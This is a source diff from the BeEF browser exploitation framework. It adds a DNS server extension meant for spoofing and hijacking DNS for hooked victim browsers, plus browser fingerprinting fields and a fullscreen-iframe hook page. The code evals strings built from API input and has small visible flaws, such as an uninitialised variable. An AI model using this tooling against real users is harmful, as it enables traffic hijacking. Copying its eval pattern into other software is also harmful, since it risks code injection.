command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
|
||||
command_mod.session_id = hook_session_id
|
||||
command_mod.update_info(dyn_mod.id)
|
||||
command_mod_name = command_mod.info['Name'].downcase
|
||||
|
||||
# create url path and file for the command module icon
|
||||
#command_module_status = set_command_module_status(command_mod)
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
command_module_icon_path = set_command_module_icon(command_mod)
|
||||
next if !dyn_mod.path.split('/')[1].match(/^metasploit/)
|
||||
command_mod_name = dyn_mod["name"]
|
||||
dyn_mod_category = "Metasploit"
|
||||
command_module_status = set_command_module_status(command_mod_name)
|
||||
command_module_icon_path = set_command_module_icon(command_module_status)
|
||||
|
||||
update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id)
|
||||
}
|
||||
|
||||
@@ -285,6 +285,7 @@ class ShellInterface
|
||||
['Browser', 'Browser Name', 'BrowserName'],
|
||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||
['Browser', 'Window Size', 'WindowSize'],
|
||||
@@ -319,6 +320,7 @@ class ShellInterface
|
||||
['Host', 'Operating System', 'OsName'],
|
||||
['Host', 'Hardware', 'Hardware'],
|
||||
['Host', 'CPU', 'CPU'],
|
||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||
['Host', 'Screen Size', 'ScreenSize'],
|
||||
['Host', 'Touch Screen', 'TouchEnabled']
|
||||
]
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
<body>
|
||||
<script>
|
||||
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
|
||||
setTimeout("beef.dom.createIframe('fullscreen', {'src':'<%= @customhook_target %>'},{},null)",2000);
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
//Porco dio - and away we go!
|
||||
|
||||
70
extensions/dns/api.rb
Normal file
70
extensions/dns/api.rb
Normal file
@@ -0,0 +1,70 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module API
|
||||
|
||||
module NameserverHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'mount_handler'
|
||||
)
|
||||
|
||||
# Begins main DNS server run-loop at BeEF startup
|
||||
def self.pre_http_start(http_hook_server)
|
||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||
|
||||
address = dns_config['address']
|
||||
port = dns_config['port']
|
||||
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dns.run_server(address, port)
|
||||
|
||||
print_info "DNS Server: #{address}:#{port}"
|
||||
servers = []
|
||||
unless dns_config['upstream'].nil?
|
||||
dns_config['upstream'].each do |server|
|
||||
if server[1].nil? or server[2].nil?
|
||||
next
|
||||
end
|
||||
if server[0] == 'tcp'
|
||||
servers << ['tcp', server[1], server[2]]
|
||||
elsif server[0] == 'udp'
|
||||
servers << ['udp', server[1], server[2]]
|
||||
end
|
||||
end
|
||||
end
|
||||
if servers.empty?
|
||||
servers << ['tcp', '8.8.8.8', 53]
|
||||
servers << ['udp', '8.8.8.8', 53]
|
||||
end
|
||||
upstream_servers = ''
|
||||
servers.each do |server|
|
||||
upstream_servers << "Upstream server: #{server[1]}:#{server[2]} (#{server[0]})\n"
|
||||
end
|
||||
print_more upstream_servers
|
||||
end
|
||||
|
||||
# Mounts handler for processing RESTful API calls
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
15
extensions/dns/config.yaml
Normal file
15
extensions/dns/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
dns:
|
||||
enable: false
|
||||
name: 'DNS Server'
|
||||
authors: ['soh_cah_toa']
|
||||
address: '127.0.0.1'
|
||||
port: 5300
|
||||
upstream:
|
||||
[['tcp', '8.8.8.8', 53], ['udp', '8.8.8.8', 53]]
|
||||
167
extensions/dns/dns.rb
Normal file
167
extensions/dns/dns.rb
Normal file
@@ -0,0 +1,167 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# This class is responsible for providing a DNS nameserver that can be dynamically
|
||||
# configured by other modules and extensions. It is particularly useful for
|
||||
# performing DNS spoofing, hijacking, tunneling, etc.
|
||||
#
|
||||
# Only a single instance will exist during runtime (known as the "singleton pattern").
|
||||
# This makes it easier to coordinate actions across the various BeEF systems.
|
||||
class Server
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_reader :address, :port
|
||||
|
||||
# @!method self.instance
|
||||
# Returns the singleton instance. Use this in place of {#initialize}.
|
||||
|
||||
# @note This method cannot be invoked! Use {.instance} instead.
|
||||
# @see ::instance
|
||||
def initialize
|
||||
@lock = Mutex.new
|
||||
@server = nil
|
||||
end
|
||||
|
||||
def set_server(server)
|
||||
@server = server
|
||||
end
|
||||
|
||||
def get_server
|
||||
@server
|
||||
end
|
||||
|
||||
# Starts the main DNS server run-loop in a new thread.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server(address = '0.0.0.0', port = 5300)
|
||||
@address = address
|
||||
@port = port
|
||||
Thread.new do
|
||||
sleep(2)
|
||||
|
||||
# antisnatchor: RubyDNS is already implemented with EventMachine
|
||||
run_server_block(@address, @port)
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
|
||||
#
|
||||
# @example Adds an A record for foobar.com with the value 1.2.3.4
|
||||
#
|
||||
# dns = BeEF::Extension::Dns::Server.instance
|
||||
#
|
||||
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
# transaction.respond!('1.2.3.4')
|
||||
# end
|
||||
#
|
||||
# @param pattern [String, Regexp] query pattern to recognize
|
||||
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
|
||||
#
|
||||
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
|
||||
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
|
||||
# This does not apply if 'pattern' is a variable.
|
||||
#
|
||||
# @yield callback to invoke when pattern is matched
|
||||
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
|
||||
#
|
||||
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
|
||||
#
|
||||
# @see #remove_rule
|
||||
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
|
||||
def add_rule(pattern, type, &block)
|
||||
@lock.synchronize { @server.match(pattern, type, block) }
|
||||
end
|
||||
|
||||
# Removes the given DNS rule. Any future queries for it will be passed through.
|
||||
#
|
||||
# @param id [Integer] id returned from {#add_rule}
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
#
|
||||
# @see #add_rule
|
||||
def remove_rule(id)
|
||||
@lock.synchronize { @server.remove_rule(id) }
|
||||
end
|
||||
|
||||
# Retrieves a specific rule given its id
|
||||
#
|
||||
# @param id [Integer] unique identifier for rule
|
||||
#
|
||||
# @return [Hash] hash representation of rule
|
||||
def get_rule(id)
|
||||
@lock.synchronize { @server.get_rule(id) }
|
||||
end
|
||||
|
||||
# Returns an AoH representing the entire current DNS ruleset.
|
||||
#
|
||||
# Each element is a hash with the following keys:
|
||||
#
|
||||
# * <code>:id</code>
|
||||
# * <code>:pattern</code>
|
||||
# * <code>:type</code>
|
||||
# * <code>:response</code>
|
||||
#
|
||||
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
|
||||
def get_ruleset
|
||||
@lock.synchronize { @server.get_ruleset }
|
||||
end
|
||||
|
||||
# Clears the entire DNS ruleset.
|
||||
#
|
||||
# Requests made after doing so will be passed through to the root nameservers.
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
def remove_ruleset
|
||||
@lock.synchronize { @server.remove_ruleset }
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Common code needed by {#run_server} to start DNS server.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server_block(address, port)
|
||||
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
|
||||
# Pass unmatched queries upstream to root nameservers
|
||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||
unless dns_config['upstream'].nil?
|
||||
dns_config['upstream'].each do |server|
|
||||
if server[1].nil? or server[2].nil?
|
||||
print_error "Invalid server '#{server[1]}:#{server[2]}' specified for upstream DNS server."
|
||||
next
|
||||
elsif server[0] == 'tcp'
|
||||
servers << [:tcp, server[1], server[2]]
|
||||
elsif server[0] == 'udp'
|
||||
servers << [:udp, server[1], server[2]]
|
||||
else
|
||||
print_error "Invalid protocol '#{server[0]}' specified for upstream DNS server."
|
||||
end
|
||||
end
|
||||
end
|
||||
if servers.empty?
|
||||
print_debug "No upstream DNS servers specified. Using '8.8.8.8'"
|
||||
servers << [:tcp, '8.8.8.8', 53]
|
||||
servers << [:udp, '8.8.8.8', 53]
|
||||
end
|
||||
otherwise do |transaction|
|
||||
transaction.passthrough!(
|
||||
RubyDNS::Resolver.new servers
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
26
extensions/dns/extension.rb
Normal file
26
extensions/dns/extension.rb
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'dns'
|
||||
@full_name = 'DNS Server'
|
||||
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
||||
'hijacking, and other related attacks against hooked browsers.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#TODO antisnatchor: uncomment this when code will be stable
|
||||
#require 'extensions/dns/api'
|
||||
#require 'extensions/dns/dns'
|
||||
#require 'extensions/dns/model'
|
||||
#require 'extensions/dns/rest/dns'
|
||||
#require 'extensions/dns/ruby'
|
||||
27
extensions/dns/model.rb
Normal file
27
extensions/dns/model.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
module Dns
|
||||
|
||||
class Rule
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_dns_rules'
|
||||
|
||||
property :id, String, :key => true # Unique identifier
|
||||
property :pattern, Object # Query pattern
|
||||
property :type, Object # Resource type
|
||||
property :block, Text # Associated callback
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
261
extensions/dns/rest/dns.rb
Normal file
261
extensions/dns/rest/dns.rb
Normal file
@@ -0,0 +1,261 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
||||
class DnsRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Require a valid API token from a valid IP address
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Returns the entire current DNS ruleset
|
||||
get '/ruleset' do
|
||||
begin
|
||||
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
|
||||
count = ruleset.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:ruleset] = ruleset
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a specific rule given its id
|
||||
get '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
end
|
||||
|
||||
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
|
||||
halt 404 if result.length == 0
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a new DNS rule
|
||||
post '/rule' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
pattern = body['pattern']
|
||||
type = body['type']
|
||||
response = body['response']
|
||||
|
||||
valid_types = ["A", "AAAA", "CNAME", "HINFO", "MINFO", "MX", "NS", "PTR", "SOA", "TXT", "WKS"]
|
||||
|
||||
# Validate required JSON keys
|
||||
unless [pattern, type, response].include?(nil)
|
||||
# Determine whether 'pattern' is a String or Regexp
|
||||
begin
|
||||
# if pattern is a Regexp, then create a new Regexp object
|
||||
if %r{\A/(.*)/([mix]*)\z} =~ pattern
|
||||
pattern = Regexp.new(pattern)
|
||||
end
|
||||
rescue => e;
|
||||
end
|
||||
|
||||
if response.class == Array
|
||||
if response.length == 0
|
||||
raise InvalidJsonError, 'Empty "response" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
else
|
||||
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
safe_response = true
|
||||
response.each do |ip|
|
||||
unless BeEF::Filters.is_valid_ip?(ip)
|
||||
safe_response = false
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
unless safe_response
|
||||
raise InvalidJsonError, 'Invalid IP in "response" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(pattern)
|
||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(type) && BeEF::Filters.alphanums_only?(type) && valid_types.include?(type)
|
||||
raise InvalidJsonError, 'Wrong "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
id = ''
|
||||
block_src = format_response(type, response)
|
||||
|
||||
# antisnatchor: would be unsafe eval, but I added 2 validations before (alpha-num only and list of valid types)
|
||||
# Now it's safe
|
||||
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
|
||||
|
||||
id = BeEF::Extension::Dns::Server.instance.get_server.match(pattern, type_obj, block_src)
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result['id'] = id
|
||||
result.to_json
|
||||
end
|
||||
rescue InvalidJsonError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Removes a rule given its id
|
||||
delete '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
end
|
||||
|
||||
result = {}
|
||||
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Generates a formatted string representation of the callback to invoke as a response.
|
||||
#
|
||||
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
|
||||
# @param [Array] rdata record data to include in response
|
||||
#
|
||||
# @return [String] string representation of response callback
|
||||
def format_response(type, rdata)
|
||||
src = 'proc { |t| t.respond!(%s) }'
|
||||
|
||||
args = case type
|
||||
when 'A'
|
||||
data = {:address => rdata[0]}
|
||||
sprintf "'%<address>s'", data
|
||||
when 'AAAA'
|
||||
data = {:address => rdata[0]}
|
||||
sprintf "'%<address>s'", data
|
||||
when 'CNAME'
|
||||
data = {:cname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
|
||||
when 'HINFO'
|
||||
data = {:cpu => rdata[0], :os => rdata[1]}
|
||||
sprintf "'%<cpu>s', '%<os>s'", data
|
||||
when 'MINFO'
|
||||
data = {:rmailbx => rdata[0], :emailbx => rdata[1]}
|
||||
|
||||
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
|
||||
"Resolv::DNS::Name.create('%<emailbx>s')",
|
||||
data
|
||||
when 'MX'
|
||||
data = {:preference => rdata[0], :exchange => rdata[1]}
|
||||
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
|
||||
when 'NS'
|
||||
data = {:nsdname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
|
||||
when 'PTR'
|
||||
data = {:ptrdname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
|
||||
when 'SOA'
|
||||
data = {
|
||||
:mname => rdata[0],
|
||||
:rname => rdata[1],
|
||||
:serial => rdata[2],
|
||||
:refresh => rdata[3],
|
||||
:retry => rdata[4],
|
||||
:expire => rdata[5],
|
||||
:minimum => rdata[6]
|
||||
}
|
||||
|
||||
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
|
||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||
'%<serial>d, ' +
|
||||
'%<refresh>d, ' +
|
||||
'%<retry>d, ' +
|
||||
'%<expire>d, ' +
|
||||
'%<minimum>d',
|
||||
data
|
||||
when 'TXT'
|
||||
data = {:txtdata => rdata[0]}
|
||||
sprintf "'%<txtdata>s'", data
|
||||
when 'WKS'
|
||||
data = {
|
||||
:address => rdata[0],
|
||||
:protocol => rdata[1],
|
||||
:bitmap => rdata[2]
|
||||
}
|
||||
|
||||
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
|
||||
else
|
||||
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
sprintf(src, args)
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/dns handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
7
extensions/dns/ruby.rb
Normal file
7
extensions/dns/ruby.rb
Normal file
@@ -0,0 +1,7 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'extensions/dns/ruby/logger'
|
||||
require 'extensions/dns/ruby/rubydns'
|
||||
27
extensions/dns/ruby/logger.rb
Normal file
27
extensions/dns/ruby/logger.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
# Overrives the logger used by RubyDNS to use BeEF's {#print_info} and friends.
|
||||
class Logger
|
||||
|
||||
def debug(msg)
|
||||
print_debug "DNS Server: #{msg}"
|
||||
end
|
||||
|
||||
def info(msg)
|
||||
print_info "DNS Server: #{msg}"
|
||||
end
|
||||
|
||||
def error(msg)
|
||||
print_error "DNS Server: #{msg}"
|
||||
end
|
||||
|
||||
def warn(msg)
|
||||
print_error "DNS Server: #{msg}"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
253
extensions/dns/ruby/rubydns.rb
Normal file
253
extensions/dns/ruby/rubydns.rb
Normal file
@@ -0,0 +1,253 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
# This module is a modified version of RubyDNS built to be compatible with BeEF.
|
||||
# For the most part, it will behave exactly the same except where otherwise noted.
|
||||
#
|
||||
# Additional features include database support, BeEF logger, assignment of unique
|
||||
# identifiers to rules, rule removal, and more.
|
||||
#
|
||||
# The core functionality of BeEF's DNS server is implemented here, whereas
|
||||
# BeEF::Extension::Dns::Server is simply a small wrapper around it.
|
||||
#
|
||||
# @see http://rubydoc.info/gems/rubydns/frames
|
||||
module RubyDNS
|
||||
|
||||
# Behaves exactly the same, except without any logger output
|
||||
def self.run_server(options = {}, &block)
|
||||
server = RubyDNS::Server.new(&block)
|
||||
|
||||
BeEF::Extension::Dns::Server.instance.set_server(server)
|
||||
|
||||
options[:listen] ||= [[:udp, '0.0.0.0', 53], [:tcp, '0.0.0.0', 53]]
|
||||
|
||||
EventMachine.run do
|
||||
server.fire(:setup)
|
||||
|
||||
options[:listen].each do |spec|
|
||||
if spec[0] == :udp
|
||||
EventMachine.open_datagram_socket(spec[1], spec[2], UDPHandler, server)
|
||||
elsif spec[0] == :tcp
|
||||
EventMachine.start_server(spec[1], spec[2], TCPHandler, server)
|
||||
end
|
||||
end
|
||||
|
||||
server.load_rules
|
||||
server.fire(:start)
|
||||
end
|
||||
|
||||
server.fire(:stop)
|
||||
end
|
||||
|
||||
class Server
|
||||
|
||||
class Rule
|
||||
|
||||
attr_accessor :id
|
||||
|
||||
# Now uses an 'id' parameter to uniquely identify rules
|
||||
def initialize(id, pattern, callback)
|
||||
@id = id
|
||||
@pattern = pattern
|
||||
@callback = callback
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# New method that loads all rules from the database at server startup
|
||||
def load_rules
|
||||
BeEF::Core::Models::Dns::Rule.each do |rule|
|
||||
id = rule.id
|
||||
pattern = [rule.pattern, rule.type]
|
||||
# antisnatchor: this would be unsafe, but input gets validated in extensions/dns/rest/dns.rb (lines 95 to 105)
|
||||
# in this case input comes from the DB, but that data stored in the DB was originally coming from the now safe code
|
||||
block = eval rule.block
|
||||
|
||||
regex = pattern[0]
|
||||
pattern[0] = Regexp.new(regex) if regex =~ /^\(\?-mix:/
|
||||
|
||||
@rules << Rule.new(id, pattern, block)
|
||||
end
|
||||
end
|
||||
|
||||
# Now includes BeEF database support and checks for already present rules
|
||||
def match(*pattern, block)
|
||||
id = ''
|
||||
|
||||
catch :match do
|
||||
begin
|
||||
# Sourcify block (already a string only for RESTful API calls)
|
||||
block_src = case block
|
||||
when String then
|
||||
block
|
||||
when Proc then
|
||||
block.to_source
|
||||
end
|
||||
|
||||
# Break out and return id if rule is already present
|
||||
BeEF::Core::Models::Dns::Rule.each do |rule|
|
||||
if pattern[0] == rule.pattern &&
|
||||
pattern[1] == rule.type &&
|
||||
block_src == rule.block
|
||||
|
||||
id = rule.id
|
||||
throw :match
|
||||
end
|
||||
end
|
||||
|
||||
id = generate_id
|
||||
|
||||
if @rules == nil
|
||||
@rules = []
|
||||
end
|
||||
|
||||
case block
|
||||
when String
|
||||
# antisnatchor: this would be unsafe, but input gets validated in extensions/dns/rest/dns.rb (lines 95 to 105)
|
||||
@rules << Rule.new(id, pattern, eval(block_src))
|
||||
when Proc
|
||||
@rules << Rule.new(id, pattern, block)
|
||||
end
|
||||
|
||||
BeEF::Core::Models::Dns::Rule.create(
|
||||
:id => id,
|
||||
:pattern => pattern[0].to_s,
|
||||
:type => pattern[1],
|
||||
:block => block_src
|
||||
)
|
||||
rescue Sourcify::CannotHandleCreatedOnTheFlyProcError,
|
||||
Sourcify::CannotParseEvalCodeError,
|
||||
Sourcify::MultipleMatchingProcsPerLineError,
|
||||
Sourcify::NoMatchingProcError,
|
||||
Sourcify::ParserInternalError
|
||||
|
||||
@logger.error "Failed to sourcify block for DNS rule '#{id}'"
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
id
|
||||
end
|
||||
|
||||
# New method that removes a rule given its id and returns boolean result
|
||||
def remove_rule(id)
|
||||
@rules.delete_if { |rule| rule.id == id }
|
||||
|
||||
rule = BeEF::Core::Models::Dns::Rule.get(id)
|
||||
|
||||
rule != nil ? rule.destroy : false
|
||||
end
|
||||
|
||||
# New method that returns a hash representing the given rule
|
||||
def get_rule(id)
|
||||
result = {}
|
||||
|
||||
begin
|
||||
rule = BeEF::Core::Models::Dns::Rule.get!(id)
|
||||
|
||||
result[:id] = rule.id
|
||||
result[:pattern] = rule.pattern
|
||||
result[:type] = rule.type.to_s.split('::')[-1]
|
||||
result[:response] = parse_response(rule.block)
|
||||
rescue DataMapper::ObjectNotFoundError => e
|
||||
@logger.error(e.message)
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
# New method that returns the entire DNS ruleset as an AoH
|
||||
def get_ruleset
|
||||
result = []
|
||||
|
||||
BeEF::Core::Models::Dns::Rule.each do |rule|
|
||||
element = {}
|
||||
|
||||
element[:id] = rule.id
|
||||
element[:pattern] = rule.pattern
|
||||
element[:type] = rule.type.to_s.split('::')[-1]
|
||||
element[:response] = parse_response(rule.block)
|
||||
|
||||
result << element
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
# New method that removes the entire DNS ruleset
|
||||
def remove_ruleset
|
||||
@rules = []
|
||||
BeEF::Core::Models::Dns::Rule.destroy
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# New method that generates a unique id for a rule
|
||||
def generate_id
|
||||
begin
|
||||
id = BeEF::Core::Crypto.secure_token.byteslice(0..6)
|
||||
|
||||
# Make sure id isn't already in use
|
||||
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
|
||||
rescue StandardError
|
||||
retry
|
||||
end
|
||||
|
||||
id
|
||||
end
|
||||
|
||||
# New method that parses response callback and returns RDATA as an array
|
||||
def parse_response(block)
|
||||
# Extract response arguments into an array
|
||||
methods = '(respond|failure)'
|
||||
args = /(?<=\.#{methods}!\().*(?=\))/.match(block).to_s.split(/,\s*/)
|
||||
|
||||
result = []
|
||||
|
||||
# Determine whether each argument is a domain name, integer, or IP address
|
||||
args.each do |elem|
|
||||
arg = nil
|
||||
|
||||
if /Name\.create\((.*)\)/.match(elem)
|
||||
arg = $1
|
||||
elsif /:(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)/.match(elem)
|
||||
arg = $1.upcase
|
||||
else
|
||||
int_test = elem.to_i
|
||||
arg = (int_test != 0 ? int_test : elem)
|
||||
end
|
||||
|
||||
arg.gsub!(/['"]/, '') unless arg.is_a?(Integer)
|
||||
|
||||
result << arg
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Transaction
|
||||
|
||||
# Behaves exactly the same, except using debug logger instead of info
|
||||
def respond!(*data)
|
||||
options = data.last.kind_of?(Hash) ? data.pop : {}
|
||||
resource_class = options[:resource_class] || @resource_class
|
||||
|
||||
if resource_class == nil
|
||||
raise ArgumentError, "Could not instantiate resource #{resource_class}!"
|
||||
end
|
||||
|
||||
